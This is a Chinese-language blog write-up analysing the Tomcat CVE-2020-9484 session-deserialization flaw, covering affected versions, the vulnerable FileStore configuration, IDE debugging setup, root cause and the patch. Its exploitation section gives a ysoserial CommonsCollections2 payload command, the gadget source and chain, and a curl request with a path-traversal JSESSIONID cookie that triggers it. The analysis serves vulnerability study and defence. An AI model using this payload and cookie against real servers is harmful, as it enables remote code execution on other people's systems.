CVE

Stella981
• 阅读 786

本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况,以及分析ysoserial反序列化链。

0x01 漏洞简介

Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻:

tomcat必须启用session持久化功能FileStore

tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget

在服务器上存在已知路径文件内容可控

0x02 影响范围

Apache Tomcat 10.x < 10.0.0-M5

Apache Tomcat 9.x < 9.0.35

Apache Tomcat 8.x < 8.5.55

Apache Tomcat 7.x < 7.0.104

0x03 漏洞依赖条件

从官网下载tomcat 8.5.30

CVE

0x1 配置session持久化

conf/context.xml

    <Manager className="org.apache.catalina.session.PersistentManager"

      debug="0"

      saveOnRestart="false"

      maxActiveSession="-1"

      minIdleSwap="-1"

      maxIdleSwap="-1"

      maxIdleBackup="-1">

        <Store className="org.apache.catalina.session.FileStore" directory="./session" />

    </Manager>

0x2 部署Gadgets jar包

下载commons-collections4-4.0.jar 并放在tomcat lib/目录下

CVE

0x04 多种 Tomcat 调试方法

0x1 本地调试

利用intellij idea 进行本地调试,创建项目、添加tomcat服务、添加tomcat源码包、配置项目lib库文件

Step1 创建项目

创建web Application项目

CVE

Step2 添加tomcat服务

选择configurations 配置tomcat 服务信息如下图所示

CVE

选择tomcat local ,tomcat 路径、配置端口等

Step3 添加tomcat源码

在intellij idea中添加tomcat 源码

CVE

Step4 配置项目lib库文件

为了使得代码能够索引方便调试,将tomcat 相关jar以及源码设成为library,如下图所示

CVE

0x2 远程调试

利用intellij idea 进行远程调试,修改默认启动脚本、添加remote调试配置

0x1 修改启动脚本

修改catalina.bat添加debug配置,调试端口为 5005,这是要检验端口有没有被防火墙禁掉

CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"

查看端口是否开放

╰─➤  lsof -i:5005                                                                                1 ↵

COMMAND   PID   USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME

java    65934 xx 6u  IPv4 0x66cb19ff98f7365b      0t0  TCP localhost:avt-profile-2 (LISTEN)

0x2 打开项目

直接打开tomcat 8.5.30 源代码

CVE

0x3 配置debug属性

在intellij idea中配置debug ip及port

CVE

0x05 漏洞原理及触发分析

当使用tomcat时,如果使用了tomcat提供的session持久化功能,就会在一次会话中尝试读取session文件中的内容,并进行反序列化。

具体逻辑如下:

0x1 路径拼接

如果打开了session 持久化 那么tomcat将会把session 的名称作为文件名并进行读取。

java 路径 org.apache.catalina.session.FileStore:

CVE

在file函数中直接将id作为文件名进行拼接,这里可以进行路径穿越到根目录,如下图所示:

CVE

0x2 反序列化

Tomcat拼接过路径之后把读取的文件内容带入反序列化函数,如果此时存在文件上传漏洞,就可以达到反序列化RCE的效果。

CVE

0x06 漏洞利用

0x1 生成payload

通过Ysoserial 生成反序列化文件,生成方式和原理如下,生成弹出计算器的CommonsCollections2 反序列化payload

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2  "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session

生成payload的关键代码

@Dependencies({"org.apache.commons:commons-collections4:4.0"})

@Authors({"frohoff"})

public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

    public CommonsCollections2() {

    }



    public Queue<Object> getObject(String command) throws Exception {

        Object templates = Gadgets.createTemplatesImpl(command);

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        PriorityQueue<Object> queue = new PriorityQueue(2, new TransformingComparator(transformer));

        queue.add(1);

        queue.add(1);

        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));

        queueArray[0] = templates;

        queueArray[1] = 1;

        return queue;

    }



    public static void main(String[] args) throws Exception {

        PayloadRunner.run(CommonsCollections2.class, args);

    }

}

完整漏洞利用链

/*

    Gadget chain:

        ObjectInputStream.readObject()

            PriorityQueue.readObject()

                ...

                    TransformingComparator.compare()

                        InvokerTransformer.transform()

                            Method.invoke()

                                Runtime.exec()

 */

具体关于利用链相关可参考 https://xz.aliyun.com/t/1756

0x2 触发

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'

通过错误回显也可看出调用栈

CVE

0x07 漏洞补丁

从github tomcat 8.5.55 可以看出漏洞修补在文件判断上,目前没有找到绕过的姿势

CVE

0x08 参考链接

https://www.secpulse.com/archives/133378.html

https://c0okb.github.io/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0

https://xz.aliyun.com/t/1756

实验推荐:Tomcat AJP协议漏洞

(Apache Tomcat服务器存在文件读取漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp /ROOT目录下的任意文件,如:webapp 配置文件或源代码等)

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
5个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Stella981 Stella981
3年前
Linux应急响应(三):挖矿病毒
0x00前言随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat弱口令攻击、WeblogicWLS组件漏洞、Jboss
Wesley13 Wesley13
3年前
mongo
搭建调试环境,调试CVE201910758漏洞,学习nodejs沙箱绕过,以及nodejs远程调试。目前网上关于该漏洞的基于docker的远程调试分析写的很泛,本文从初学者角度分析调试漏洞成因,特别是在chrome浏览器调试nodejs上花了点篇幅。0x01认识mongoexpressmongoexpress是一个Mong
Wesley13 Wesley13
3年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
3年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
11个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这